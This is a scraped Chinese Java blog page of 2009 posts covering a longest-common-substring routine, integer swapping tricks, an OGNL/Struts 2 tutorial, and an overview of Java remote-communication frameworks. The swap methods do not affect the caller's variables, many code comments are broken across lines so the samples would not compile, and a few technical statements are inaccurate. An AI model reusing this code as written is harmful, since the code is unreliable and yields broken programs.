    data = data % 10;// 只保留个位数字,因其它位数字对0的个数无影响
   }
   return count;
}

posted @ 2009-08-21 00:45 jadmin 阅读(83) | 评论 (0)编辑 收藏

Java代码实现

/**
* 查找两个串的最大公共子串
*
* @param s1
* @param s2
* @return
*/
public static String commonMaxSubString(String s1, String s2) {
   String maxstr = "";
   String substring = "";
   if (s1.length() > s2.length()) { // s1为两个串中的短串;s2为长串
    String temp = s1;
    s1 = s2;
    s2 = temp;
   }
   int len = s1.length();
   ok: for (int i = len; i > 0; i--) {
    for (int j = 0; j < len - i + 1; j++) {
     substring = s1.substring(j, j + i);
     if (s2.indexOf(substring) != -1) {
      maxstr = substring;
      break ok; // 只要一找到最大子串,就退出这个for循环
     }
    }
   }
   return maxstr;
}

posted @ 2009-08-20 23:42 jadmin 阅读(74) | 评论 (0)编辑 收藏

通常交换两个整型变量,经常会如下做:

public void swap(int a, int b) {
    int t = a;// 使用第三个变量t

    a = b;

    b = t;
}

下面介绍两种不借助变量,让两个整型变量交换的方法

方法一:借助代数运算

public void swap(int a, int b) {
     a = a + b;

     b = a - b; // 这个时候a=a+b,b=a

     a = a - b; // a = b
}

方法二:借助^异或运算

public void swap(int a, int b) {
     a = a^b;

     b = a^b;

     a = a^b;
}

posted @ 2009-08-20 23:36 jadmin 阅读(80) | 评论 (0)编辑 收藏

OGNL中的#%$符号

#%$符号在OGNL表达式中经常出现,而这三种符号也是开发者不容易掌握和理解的部分。在这里笔者简单介绍它们的相应用途。


1
#符号

#符号的用途一般有三种。
>>>
访问非根对象属性,例如示例中的#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext()#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg")
>>>

用于过滤和投影(projecting)集合,如示例中的persons.{?#this.age>20}
>>>

用来构造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}

2%符号

%符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值。如下面的代码所示:

构造Map

The value of key "foo1" is 
不使用%:
使用%:

运行界面如图8.4所示。

8.4 “%”OGNL表达式用法

3$符号

$符号主要有两个方面的用途。
>>>
在国际化资源文件中,引用OGNL表达式,例如国际化资源文件中的代码:reg.agerange=国际化资源信息:年龄必须在${min}${max}之间。
>>>
Struts 2框架的配置文件中引用OGNL表达式,例如下面的代码片断所示:

 
10
100
BAction-test
校验:数字必须为${min}${max}之间!


posted @ 2009-08-15 17:34 jadmin 阅读(89) | 评论 (0)编辑 收藏

<?xml:namespace prefix = st1 />1.1.1 业务控制器

为本示例建立一个业务控制器,该控制器用到了代码8.1中定义的Person人员信息类。该业务控制器如代码8.4所示。

代码8.4 Struts 2OGNL示例业务控制器

package ch8;
import java.util.Date;
import java.util.LinkedList;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
public class OgnlAction extends ActionSupport {
//List
类型属性
private List persons;
//execute
方法
public String execute() throws Exception {
//
获得ActionContext实例,以便访问Servlet API
ActionContext ctx = ActionContext.getContext();
//
存入application
ctx.getApplication().put("msg", "application
信息");
//
保存session
ctx.getSession().put("msg", "seesion
信息");
//
保存request信息
HttpServletRequest request = ServletActionContext.getRequest();
request.setAttribute("msg", "request
信息");
//
persons赋值
persons = new LinkedList();
Person person1=new Person();
person1.setName("pla1");
person1.setAge(26);
person1.setBirthday(new Date());
persons.add(person1);

Person person2=new Person();
person2.setName("pla2");
person2.setAge(36);
person2.setBirthday(new Date());
persons.add(person2);
Person person3=new Person();
person3.setName("pla3");
person3.setAge(16);
person3.setBirthday(new Date());
persons.add(person3);
return SUCCESS;
}
public List getPersons() {
return persons;
}
public void setPersons(List persons) {
this.persons = persons;
}
}

该业务控制器分别在applicationsessionrequest中存入名为“msg”的字符串信息,另外定义了一个List类型属性,同时添加了两个Person类型元素。在配置文件中增加了相应的配置,代码如下:


/ch8/showognl.jsp

1.1.2 JSP视图

showognl.jsp是使用了OGNL表达式的JSP视图,视图用来显示Action中处理的各种信息,读者可以看到,使用OGNL表达式,代码更加简洁和直观,如代码8.5所示。

代码8.5使用OGNL表达式的JSP视图


http://www.w3.org/TR/ xhtml1/DTD/xhtml1-transitional.dtd">
http://www.w3.org/1999/xhtml">

访问OGNL上下文和Action上下文

parameters: 
request.msg: 
session.msg: 
application.msg: 
attr.msg: 


用于过滤和投影(projecting)集合
年龄大于20
1.                          - 年龄:
姓名为pla1的年龄: 


构造Map
The value of key "foo1" is 

1.1.3 运行示例

在浏览器中输入http://localhost:8080/bookcode/ch8/OgnlAction.action?msg=hello,运行结果如图8.3所示。

8.3 Struts 2中使用OGNL表达式

说明

本示例演示了如何使用OGNL表达式来访问OGNL上下文和值栈,同时演示了如何使用OGNL表达式进行集合操作。对读者深入理解Struts 2OGNL表达式的使用有所帮助。

posted @ 2009-08-15 17:29 jadmin 阅读(80) | 评论 (0)编辑 收藏

OGNL的集合操作

如果需要一个集合元素的时候(例如List对象或者Map对象),可以使用OGNL中同集合相关的表达式。

可以使用如下代码直接生成一个List对象:

{e1,e2,e3…}

OGNL表达式中,直接生成了一个List对象,该List对象中包含3个元素:e1e2e3。如果需要更多的元素,可以按照这样的格式定义多个元素,多个元素之间使用逗号隔开。

如下代码可以直接生成一个Map对象:

#{key1:value1,key2:value2,…}


Map
类型的集合对象,使用key-value格式定义,每个key-value元素使用冒号标识,多个元素之间使用逗号隔开。

对于集合类型,OGNL表达式可以使用innot in两个元素符号。其中,in表达式用来判断某个元素是否在指定的集合对象中;not in判断某个元素是否不在指定的集合对象中,如代码8.3所示。

代码8.3使用OGNL集合操作符


muhahaha


boo


muhahaha


boo

除了innot in之外,OGNL还允许使用某个规则获得集合对象的子集,常用的有以下3个相关操作符。
>>>
?
:获得所有符合逻辑的元素。
>>>
^
:获得符合逻辑的第一个元素。
>>>
$
:获得符合逻辑的最后一个元素。

例如代码:

person.relatives.{? #this.gender == 'male'}

该代码可以获得person的所有性别为malerelatievs集合。

posted @ 2009-08-15 17:25 jadmin 阅读(151) | 评论 (0)编辑 收藏

注意

使用索引,并不是直接获得指定的元素,而是从指定的索引位置搜索。

Struts 2中的OGNL ContextActionContext,如图8.2所示。

  

8.2 Struts 2OGNL Context结构示意图

说明

8.2只是说明Struts 2OGNL Context结构,实际上Context还包含其他对象。

由于值栈是Struts 2OGNL的根对象,如果用户需要访问值栈中的对象,则可以直接通过下面的代码访问值栈中的属性:

//获得值栈中的foo属性
${foo}

如果访问其他Context中的对象,由于不是根对象,在访问时,需要加#前缀。
>>
application
对象:用于访问ServletContext,例如#application.userName或者#application['userName'],相当于调用ServletgetAttribute("username")
>>

session
对象:用来访问HttpSession,例如#session.userName或者#session['userName'],相当于调用session.getAttribute("userName")
>>

request
对象:用来访问HttpServletRequest属性(attribute)的Map,例如#request.userName或者#request['userName'],相当于调用request.getAttribute ("userName")
>>

parameters
对象:用于访问HTTP的请求参数,例如#parameters.userName或者#parameters['userName'],相当于调用request.getParameter("username")
>>

attr
对象:用于按page-request-session-application顺序访问其属性。

posted @ 2009-08-15 17:18 jadmin 阅读(90) | 评论 (0)编辑 收藏

OGNLStruts 2框架的默认表达式语言,增强了Struts 2的数据访问能力,同时简化了代码。

Struts 2OGNL表达式

标准的OGNL会设定一个根对象(root对象)。假设使用标准OGNL表达式来求值(不使用Struts 2OGNL表达式),如果OGNL上下文(OgnlContext Map类型)有两个对象:foo对象,在OgnlContext中名称为foobar对象,在OgnlContext中名称为bar。同时foo对象被设置为根对象(root)。则利用下面的OGNL表达式求值:

// 返回foo.getBlah()
#foo.blah
//
返回bar.getBlah()
#bar.blah
//
返回foo.getBlah() ,因为foo为根对象
blah

说明

使用OGNL是非常简单的,如果要访问的对象不是根对象,如示例中的bar对象,则需要使用命名空间,用“#”来标识,如“#bar”;如果访问一个根对象,则不用指定命名空间,可以直接访问根对象的属性。

Struts 2框架中,值栈(Value Stack)就是OGNL的根对象,假设值栈中存在两个对对象实例:ManAnimal,这两个对象实例都有一个name属性,Animal有一个species属性,Man有一个salary属性,假设Animal在值栈的顶部,ManAnimal后面,下面的代码片断会帮助读者更好地理解OGNL表达式:

// 调用animal.getSpecies()
species
//
调用man.getSalary()
salary
//
调用animal.getName(),因为Animal位于值栈的顶部
name


最后一行示例代码,返回的是animal.getName()返回值,即返回了Animalname属性,因为Animal是值栈的顶部元素,OGNL将从顶部元素搜索,所以会返回Animalname属性值。如果要获得Manname值,则需要如下代码:

man.name

Struts 2允许在值栈中使用索引,示例代码如下所示:

[0].name   // 调用animal.getName()
[1].name   //
调用man.getName()

posted @ 2009-08-15 17:18 jadmin 阅读(83) | 评论 (0)编辑 收藏

    XFire、Axis

    XFire、Axis是Webservice的实现框架,WebService可算是一个完整的SOA架构实现标准了,因此采用XFire、Axis这些也就意味着是采用webservice方式了。

  1、是基于什么协议实现的?

  基于SOAP协议。

  2、怎么发起请求?

  获取到远端service的proxy后直接调用。

  3、怎么将请求转化为符合协议的格式的?

  将请求信息转化为遵循SOAP协议的XML格式,由框架转化为流进行传输。

  4、使用什么传输协议传输?

  Http协议。

  5、响应端基于什么机制来接收请求?

  监听Http请求。

  6、怎么将流还原为传输格式的?

  根据SOAP协议进行还原。

  7、处理完毕后怎么回应?

  返回结果写入XML中,由框架返回至调用端。

  ------------------------------------------------------------------------------------------------------------------------------

  ActiveMQ

  ActiveMQ是JMS的实现,基于JMS这类消息机制实现远程通讯是一种不错的选择,毕竟消息机制本身的功能使得基于它可以很容易的去实现同步/异步/单向调用等,而且消息机制从容错角度上来说也是个不错的选择,这是Erlang能够做到容错的重要基础

  1、是基于什么协议实现的?

  基于JMS协议。

  2、怎么发起请求?

  遵循JMS API发起请求。

  3、怎么将请求转化为符合协议的格式的?

  不太清楚,猜想应该是二进制流。

  4、使用什么传输协议传输?

  支持多种传输协议,例如tcp/ip、udp、http等等。

  5、响应端基于什么机制来接收请求?

  监听符合协议的端口。

  6、怎么将流还原为传输格式的?

  同问题3。

  7、处理完毕后怎么回应?

  遵循JMS API生成消息,并写入JMS Queue中。

  基于JMS此类机制实现远程通讯的例子有Spring-Intergration、Mule、Lingo等等。

 -----------------------------------------------------------------------------------------------------------------------------

    Mina

    Mina是Apache提供的通讯框架,在之前一直没有提到网络IO这块,之前提及的框架或library基本都是基于BIO的,而Mina是采用NIO的,NIO在并发量增长时对比BIO而言会有明显的性能提升,而java性能的提升,与其NIO这块与OS的紧密结合是有不小的关系的。

    1、是基于什么协议实现的?

    可选的传输协议+NIO.

    2、怎么发起请求?

    通过Mina提供的Client API.

    3、怎么将请求转化为符合协议的格式的?

    Mina遵循java串行化机制对请求对象进行序列化。

    4、使用什么传输协议传输?

    支持多种传输协议,例如tcp/ip、http等等。

    5、响应端基于什么机制来接收请求?

    以NIO的方式监听协议端口。

    6、怎么将流还原为传输格式的?

    遵循java串行化机制对请求对象进行反序列化。

    7、处理完毕后怎么回应?

    遵循Mina API进行返回。

    MINA是NIO方式的,因此支持异步调用是毫无悬念的。

 --------------------------------------------------------------------------------------------------------------------------------

    EJB

    EJB最突出的在于其分布式,EJB采用的是ORMI协议,和RMI协议是差不多的,但EJB在分布式通讯的安全控制、transport pool、smart proxy等方面的突出使得其在分布式领域是不可忽视的力量。

    1、是基于什么协议实现的?

    基于ORMI协议。

    2、怎么发起请求?

    EJB调用。

    3、怎么将请求转化为符合协议的格式的?

    遵循java串行化机制对请求对象进行序列化。

    4、使用什么传输协议传输?

    tcp/ip.

    5、响应端基于什么机制来接收请求?

    监听协议端口。

    6、怎么将流还原为传输格式的?

    遵循java串行化机制对请求对象进行反序列化。

    7、处理完毕后怎么回应?

    直接返回处理对象即可。

    在之前的分布式服务框架系列的文章中对于jndi有误导的嫌疑,在这篇blog中也顺带的提下jndi的机制,由于JNDI取决于具体的实现,在这里只能是讲解下jboss的jndi的实现了。

    在将对象实例绑定到jboss jnp server后,当远程端采用context.lookup()方式获取远程对象实例并开始调用时,jboss jndi的实现方法是从jnp server上获取对象实例,将其序列化回本地,然后在本地进行反序列化,之后在本地进行类调用。

    通过这个机制,就可以知道了,本地其实是必须有绑定到jboss上的对象实例的class的,否则反序列化的时候肯定就失败了,而远程通讯需要做到的是在远程执行某动作,并获取到相应的结果,可见纯粹基于JNDI是无法实现远程通讯的。

    但JNDI也是实现分布式服务框架一个很关键的技术点,因为可以通过它来实现透明化的远端和本地调用,就像ejb,另外它也是个很好的隐藏实际部署机制(就像datasource)等的方案。

    总结

    由上一系列的分析可知,在远程通讯领域中,涉及的知识点还是相当的多的,例如有:通信协议或远程调用协议(tcp/http/udp/rmi/xml-rpc etc.)、消息机制、网络IO(BIO/NIO/AIO)、MultiThread、本地调用与远程调用的透明化方案(涉及java classloader、Dynamic Proxy、Unit Test etc.)、异步与同步调用、网络通信处理机制(自动重连、广播、异常、池处理等等)、Java Serialization (各种协议的私有序列化机制等)、各种框架的实现原理(传输格式、如何将传输格式转化为流的、如何将请求信息转化为传输格式的、如何接收流的、如何将流还原为传输格式的等等),要精通其中的哪些东西,得根据实际需求来决定了,只有在了解了原理的情况下才能很容易的做出选择,甚至可以根据需求做私有的远程通讯协议,对于从事分布式服务平台或开发较大型的分布式应用的人而言,我觉得至少上面提及的知识点是需要比较了解的。

posted @ 2009-08-15 15:10 jadmin 阅读(232) | 评论 (0)编辑 收藏

    可选实现技术

    当然,在上面的原理中并没有介绍到所有的java领域可选的远程通信协议了,例如还有EJB采用的ORMI、Spring自己定义的一个简单的Http Invoker等等。

    看完原理后我们再来看看目前java领域可用于实现远程通讯的框架或library,知名的有:JBoss-Remoting、Spring-Remoting、Hessian、Burlap、XFire(Axis)、ActiveMQ、Mina、Mule、EJB3等等,来对每种做个简单的介绍和评价,其实呢,要做分布式服务框架,这些东西都是要有非常深刻的了解的,因为分布式服务框架其实是包含了解决分布式领域以及应用层面领域两方面问题的。

    当然,你也可以自己根据远程网络通信原理(transport protocol+Net IO)去实现自己的通讯框架或library.

    那么在了解这些远程通讯的框架或library时,会带着什么问题去学习呢?

    1、是基于什么协议实现的?

    2、怎么发起请求?

    3、怎么将请求转化为符合协议的格式的?

    4、使用什么传输协议传输?

    5、响应端基于什么机制来接收请求?

    6、怎么将流还原为传输格式的?

    7、处理完毕后怎么回应?

    JBoss-Remoting

    Jboss-remoting是由jboss编写的一个java领域的远程通讯框架,基于此框架,可以很简单的实现基于多种传输协议的java对象的RPC.

    直接来回答问题:

    1、是基于什么协议实现的?

    JBoss-Remoting是个通讯框架,因此它支持多种协议方式的通信,例如tcp/ip+io方式、rmi方式、http+io方式等。

    2、怎么发起请求?

    在JBoss-Remoting中,只需将需要发起的请求参数对象传入jboss-remoting的InvocationRequest对象即可,也可根据协议基于InvocationRequest封装符合需求的InvocationRequest对象。

    3、怎么将请求转化为符合协议的格式的?

    JBoss-Remoting基于Java串行化机制或JBoss自己的串行化实现来将请求转化为对象字节流。

    4、使用什么传输协议传输?

    支持多种传输协议,例如tcp/ip、http等。

    5、响应端基于什么机制来接收请求?

    响应端只需将自己的处理对象注册到JBoss-Remoting提供的server端的Connector对象中即可。

    6、怎么将流还原为传输格式的?

    JBoss-Remoting基于java串行化机制或jboss自己的串行化实现来将请求信息还原为java对象。

    7、处理完毕后怎么回应?

    处理完毕后将结果对象直接返回即可,jboss-remoting会将此对象按照协议进行序列化,返回至调用端。

    另外,jboss-remoting支持多种通信方式,例如同步/异步/单向通信等。

 ---------------------------------------------------------------------------------------------------------------------------

    Spring-Remoting

    Spring-remoting是Spring提供java领域的远程通讯框架,基于此框架,同样也可以很简单的将普通的spring bean以某种远程协议的方式来发布,同样也可以配置spring bean为远程调用的bean.

  1、是基于什么协议实现的?

  和JBoss-Remoting一样,作为一个远程通讯的框架,Spring通过集成多种远程通讯的library,从而实现了对多种协议的支持,例如rmi、http+io、xml-rpc、binary-rpc等。

  2、怎么发起请求?

  在Spring中,由于其对于远程调用的bean采用的是proxy实现,发起请求完全是通过服务接口调用的方式。

  3、怎么将请求转化为符合协议的格式的?

  Spring按照协议方式将请求的对象信息转化为流,例如Spring Http Invoker是基于Spring自己定义的一个协议来实现的,传输协议上采用的为http,请求信息是基于java串行化机制转化为流进行传输。

  4、使用什么传输协议传输?

  支持多种传输协议,例如rmi、http等等。

  5、响应端基于什么机制来接收请求?

  响应端遵循协议方式来接收请求,对于使用者而言,则只需通过spring的配置方式将普通的spring bean配置为响应端或者说提供服务端。

  6、怎么将流还原为传输格式的?

  按照协议方式来进行还原。

  7、处理完毕后怎么回应?

  处理完毕后直接返回即可,spring-remoting将根据协议方式来做相应的序列化。

  -----------------------------------------------------------------------------------------------------------------------------

  Hessian

  Hessian是由caucho提供的一个基于binary-RPC实现的远程通讯library。

  1、是基于什么协议实现的?

  基于Binary-RPC协议实现。

  2、怎么发起请求?

  需通过Hessian本身提供的API来发起请求。

  3、怎么将请求转化为符合协议的格式的?

  Hessian通过其自定义的串行化机制将请求信息进行序列化,产生二进制流。

    Hessian基于Http协议进行传输。

    5、响应端基于什么机制来接收请求?

    响应端根据Hessian提供的API来接收请求。

    6、怎么将流还原为传输格式的?

    Hessian根据其私有的串行化机制来将请求信息进行反序列化,传递给使用者时已是相应的请求信息对象了。

    7、处理完毕后怎么回应?

    处理完毕后直接返回,hessian将结果对象进行序列化,传输至调用端。

 -------------------------------------------------------------------------------------------------------------------------------

    Burlap

    Burlap也是有caucho提供,它和hessian的不同在于,它是基于XML-RPC协议的。

    1、是基于什么协议实现的?

    基于XML-RPC协议实现。

    2、怎么发起请求?

    根据Burlap提供的API.

    3、怎么将请求转化为符合协议的格式的?

    将请求信息转化为符合协议的XML格式,转化为流进行传输。

    4、使用什么传输协议传输?

    Http协议。

    5、响应端基于什么机制来接收请求?

    监听Http请求。

    6、怎么将流还原为传输格式的?

    根据XML-RPC协议进行还原。

    7、处理完毕后怎么回应?

    返回结果写入XML中,由Burlap返回至调用端。

 -----------------------------------------------------------------------------------------------------------------------------

posted @ 2009-08-15 15:08 jadmin 阅读(82) | 评论 (0)编辑 收藏

  在分布式服务框架中,一个最基础的问题就是远程服务是怎么通讯的,在Java领域中有很多可实现远程通讯的技术,例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS 等,这些名词之间到底是些什么关系呢,它们背后到底是基于什么原理实现的呢,了解这些是实现分布式服务框架的基础知识,而如果在性能上有高的要求的话,那深入了解这些技术背后的机制就是必须的了,在这篇blog中我们将来一探究竟,抛砖引玉,欢迎大家提供更多的实现远程通讯的技术和原理的介绍。

  基本原理

  要实现网络机器间的通讯,首先得来看看计算机系统网络通信的基本原理,在底层层面去看,网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络IO来实现,其中传输协议比较出名的有 http、tcp、udp等等,http、tcp、udp都是在基于Socket概念上为某类应用场景而扩展出的传输协议,网络IO,主要有bio、 nio、aio三种方式,所有的分布式应用通讯都基于这个原理而实现,只是为了应用的易用,各种语言通常都会提供一些更为贴近应用易用的应用层协议。

  应用级协议

  远程服务通讯,需要达到的目标是在一台计算机发起请求,另外一台机器在接收到请求后进行相应的处理并将结果返回给请求端,这其中又会有诸如one way request、同步请求、异步请求等等请求方式,按照网络通信原理,需要实现这个需要做的就是将请求转换成流,通过传输协议传输至远端,远端计算机在接收到请求的流后进行处理,处理完毕后将结果转化为流,并通过传输协议返回给调用端。

  原理是这样的,但为了应用的方便,业界推出了很多基于此原理之上的应用级的协议,使得大家可以不用去直接操作这么底层的东西,通常应用级的远程通信协议会提供:

  1. 为了避免直接做流操作这么麻烦,提供一种更加易用或贴合语言的标准传输格式;

  2. 网络通信机制的实现,就是替你完成了将传输格式转化为流,通过某种传输协议传输至远端计算机,远端计算机在接收到流后转化为传输格式,并进行存储或以某种方式通知远端计算机。

  所以在学习应用级的远程通信协议时,我们可以带着这几个问题进行学习:

  1. 传输的标准格式是什么?

  2. 怎么样将请求转化为传输的流?

  3. 怎么接收和处理流?

  4. 传输协议是?

  不过应用级的远程通信协议并不会在传输协议上做什么多大的改进,主要是在流操作方面,让应用层生成流和处理流的这个过程更加的贴合所使用的语言或标准,至于传输协议则通常都是可选的,在java领域中知名的有:RMI、XML-RPC、Binary-RPC、SOAP、CORBA、JMS,来具体的看看这些远程通信的应用级协议:

  RMI

  RMI是个典型的为java定制的远程通信协议,我们都知道,在single vm中,我们可以通过直接调用java object instance来实现通信,那么在远程通信时,如果也能按照这种方式当然是最好了,这种远程通信的机制成为RPC(Remote Procedure Call),RMI正是朝着这个目标而诞生的。

  来看下基于RMI的一次完整的远程通信过程的原理:

  1. 客户端发起请求,请求转交至RMI客户端的stub类;

  2. stub类将请求的接口、方法、参数等信息进行序列化;

  3. 基于socket将序列化后的流传输至服务器端;

  4. 服务器端接收到流后转发至相应的skelton类;

  5. skelton类将请求的信息反序列化后调用实际的处理类;

  6. 处理类处理完毕后将结果返回给skelton类;

  7. Skelton类将结果序列化,通过socket将流传送给客户端的stub;

  8. stub在接收到流后反序列化,将反序列化后的Java Object返回给调用者。

  来看jboss-remoting对于此过程的一个更好的图示:

Java远程通讯可选技术及原理

  根据原理来回答下之前学习应用级协议带着的几个问题:

  1. 传输的标准格式是什么?

  是Java ObjectStream。

  2. 怎么样将请求转化为传输的流?

  基于Java串行化机制将请求的java object信息转化为流。

  3. 怎么接收和处理流?

  根据采用的协议启动相应的监听端口,当有流进入后基于Java串行化机制将流进行反序列化,并根据RMI协议获取到相应的处理对象信息,进行调用并处理,处理完毕后的结果同样基于java串行化机制进行返回。

  4. 传输协议是?

  Socket。

  XML-RPC

  XML-RPC也是一种和RMI类似的远程调用的协议,它和RMI的不同之处在于它以标准的xml格式来定义请求的信息(请求的对象、方法、参数等),这样的好处是什么呢,就是在跨语言通讯的时候也可以使用。

  来看下XML-RPC协议的一次远程通信过程:

  1. 客户端发起请求,按照XML-RPC协议将请求信息进行填充;

  2. 填充完毕后将xml转化为流,通过传输协议进行传输;

  3. 接收到在接收到流后转换为xml,按照XML-RPC协议获取请求的信息并进行处理;

  4. 处理完毕后将结果按照XML-RPC协议写入xml中并返回。

  图示以上过程:

Java远程通讯可选技术及原理

  同样来回答问题:

  1. 传输的标准格式是?

  标准格式的XML。

  2. 怎么样将请求转化为传输的流?

  将XML转化为流。

  3. 怎么接收和处理流?

  通过监听的端口获取到请求的流,转化为XML,并根据协议获取请求的信息,进行处理并将结果写入XML中返回。

  4. 传输协议是?

  Http。

  Binary-RPC

  Binary-RPC看名字就知道和XML-RPC是差不多的了,不同之处仅在于传输的标准格式由XML转为了二进制的格式。

  同样来回答问题:

  1. 传输的标准格式是?

  标准格式的二进制文件。

  2. 怎么样将请求转化为传输的流?

  将二进制格式文件转化为流。

  3. 怎么接收和处理流?

  通过监听的端口获取到请求的流,转化为二进制文件,根据协议获取请求的信息,进行处理并将结果写入XML中返回。

  4. 传输协议是?

  Http。

  SOAP

  SOAP原意为Simple Object Access Protocol,是一个用于分布式环境的、轻量级的、基于XML进行信息交换的通信协议,可以认为SOAP是XML RPC的高级版,两者的原理完全相同,都是http+XML,不同的仅在于两者定义的XML规范不同,SOAP也是Webservice采用的服务调用协议标准,因此在此就不多加阐述了。

  CORBA

  Common Object Request Broker Architecture(公用对象请求代理[调度]程序体系结构),是一组用来定义“分布式对象系统”的标准,由OMG(Object Menagement Group)作为发起和标准制定单位。CORBA的目的是定义一套协议,符合这个协议的对象可以互相交互,不论它们是用什么样的语言写的,不论它们运行于什么样的机器和操作系统。

  CORBA在我看来是个类似于SOA的体系架构,涵盖可选的远程通信协议,但其本身不能列入通信协议这里来讲,而且CORBA基本淘汰,再加上对CORBA也不怎么懂,在此就不进行阐述了。

  JMS

  JMS呢,是实现java领域远程通信的一种手段和方法,基于JMS实现远程通信时和RPC是不同的,虽然可以做到RPC的效果,但因为不是从协议级别定义的,因此我们不认为JMS是个RPC协议,但它确实是个远程通信协议,在其他的语言体系中也存在着类似JMS的东西,可以统一的将这类机制称为消息机制,而消息机制呢,通常是高并发、分布式领域推荐的一种通信机制,这里的主要一个问题是容错(详细见ErLang论文)。

  来看JMS中的一次远程通信的过程:

  1. 客户端将请求转化为符合JMS规定的Message;

  2. 通过JMS API将Message放入JMS Queue或Topic中;

  3. 如为JMS Queue,则发送中相应的目标Queue中,如为Topic,则发送给订阅了此Topic的JMS Queue。

  4. 处理端则通过轮训JMS Queue,来获取消息,接收到消息后根据JMS协议来解析Message并处理。

  回答问题:

  1. 传输的标准格式是?

  JMS规定的Message。

  2. 怎么样将请求转化为传输的流?

  将参数信息放入Message中即可。

  3. 怎么接收和处理流?

  轮训JMS Queue来接收Message,接收到后进行处理,处理完毕后仍然是以Message的方式放入Queue中发送或Multicast。

  4. 传输协议是?

  不限。

  基于JMS也是常用的实现远程异步调用的方法之一。

posted @ 2009-08-15 14:59 jadmin 阅读(89) | 评论 (0)编辑 收藏

下面以一个简单的示例来帮助读者理解OGNL表达式。使用OGNL表达式,需要在www.ognl.org网站下载一个ognl.jar插件包,将该文件复制到classpath路径下即可。建立一个复合类型,如代码8.1所示。

代码8.1定义复合类型

package ch8;
import java.util.Date;
//
团队类
public class Team {
//
团队名称
private String teamname;
//
定义团队人员属性
private Person person;
//
团队人数
private int personnum;
//
属性的gettersetter方法
public String getTeamname() {
return teamname;
}
public void setTeamname(String teamname) {
this.teamname = teamname;
}
public Person getPerson() {
return person;
}
public void setPerson(Person person) {
this.person = person;
}
public int getPersonnum() {
return personnum;
}
public void setPersonnum(int personnum) {
this.personnum = personnum;
}
}
//
定义人员类
class Person {
//
姓名
private String name;
//
年龄
private int age;
//
人员出生日期
private Date birthday;
//
属性的gettersetter方法
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Date getBirthday() {
return birthday;
}
public void setBirthday(Date birthday) {
this.birthday = birthday;
}
}

代码8.1所示内容定义了两个复合类型:团队(team)和人员(person)类型。使用OGNL表达式示例,如代码8.2所示。

代码8.2使用OGNL表达式示例

package ch8;
import java.util.HashMap;
import java.util.Map;
import ognl.Ognl;
import ognl.OgnlException;
public class TestOGNL {
public static void main(String[] args) {
//
定义一个Map对象
Map m = new HashMap();
//
定义一个Team对象
Team team1 = new Team();
team1.setTeamname("
团队1");
//
定义一个Person对象
Person person1 = new Person();
person1.setName("pla1");
//
添加team元素
team1.setPerson(person1);
//
定义一个Team对象
Team team2 = new Team();
team2.setTeamname("
团队2");
//
定义一个Person对象
Person person2 = new Person();
person2.setName("pla2");
//
添加team元素
team2.setPerson(person2);

//
添加Map元素
m.put("team1", team1);
m.put("team2", team2);
try {
System.out.println(Ognl.getValue("team1.teamname", m));
System.out.println(Ognl.getValue("team2.person.name", m));
System.out.println(Ognl.getValue("teamname", team2));
System.out.println(Ognl.getValue("person.name", team2));
} catch (OgnlException e) {
}
}
}


代码8.2所示内容定义了一个Map类型的嵌套属性,如图8.1所示。

  

8.1嵌套属性示意图

运行该示例,控制器显示如下信息:

团队1
pla2
团队2
pla2

说明

OGNL可以使用非常简单的表达式来访问多层嵌套属性,为开发者提供了一个有力的工具。

posted @ 2009-08-13 14:25 jadmin 阅读(128) | 评论 (0)编辑 收藏

基本的OGNL语法是十分简单的,当然OGNL支持丰富的表达式,一般情况下,不用担心OGNL的复杂性。例如有一个man对象,该对象有一个name属性,那么使用OGNL来获得该name属性可以使用如下表达式:

man.name

OGNL表达式的基础单元称为导航链,简称为链。一个最简单的链由如下部分组成。
>
属性名称:如上述示例中的name
>
方法调用:hashCode()返回当前对象的hash code
>
数组元素:listeners[0]返回当前对象的监听器列表中的第一个元素。

说明

OGNL表达式基于OGNL上下文中的当前对象,一个将使用上一个的处理结果,开发者可以任意扩展该链的长度,OGNL没有限制。

例如,一个OGNL表达式如下:

name.toCharArray()[0].numericValue.toString()


该表达式将按照如下步骤求值。

1)获得OGNL Context中初始对象或者是根对象(root对象)的name对象。

2)调用toCharArray()方法,返回一个String类型对象。

3)获得该String对象的第一个字符。

4)获得该字符的numericValue属性(该字符为一个Character对象,该对象有一个getNumericValue()方法,该方法返回一个Integer类型值)。

5)将获得的Integer对象转换为一个String类型值(使用toString()方法)。

posted @ 2009-08-13 13:55 jadmin 阅读(76) | 评论 (0)编辑 收藏

OGNL是Object Graph Navigation Language的缩写,与JSP,JSF相比,OGNL是一种功能非常强大的针对Java的表达式语言(EL),它可用来读取和更新Java对象的属性。

OGNL可以用在以下方面:
- 用做数据绑定语言用来绑定GUI元素(textfield, combobox等)到模型对象
- 用做数据源语言用来映射数据库表到表模型对象
- 用做数据绑定语言用来绑定web组件到数据模型(WebOGNLTapestryWebWork等)
- 提供类似Jakarta Commons BeanUtils所提供的功能(读取Java对象的属性)

OGNL表达式语法:
Java标准类型:
bool类型:true,false
int类型:10, 0xABCD等
long类型:100L
float类型:1.0, 0.5F等
double类型:0.01D
char类型:'A', '\uFFFF'等
字符串类型:"Hello World!"
null

OGNL独自类型:
例:10.01B,相当于java.math.BigDecimal
例:100000H,相当于java.math.BigInteger

OGNL表达式中能使用的操作符号:
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等

变量的引用:
使用方法:#变量名
例:#this, #user.name

对静态方法或变量的访问:
@mypkg.MyClass@myVar
@mypkg.MyClass@myMethod()

读取变量值:
例:user.address.countryName

方法调用:
例:user.getName()

对象的创建:
new java.net.URL("http://localhost/")

List表达式例:
{"green", "red", "blue"}


Map表达式例:
#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}
对map引用,例:map.key1

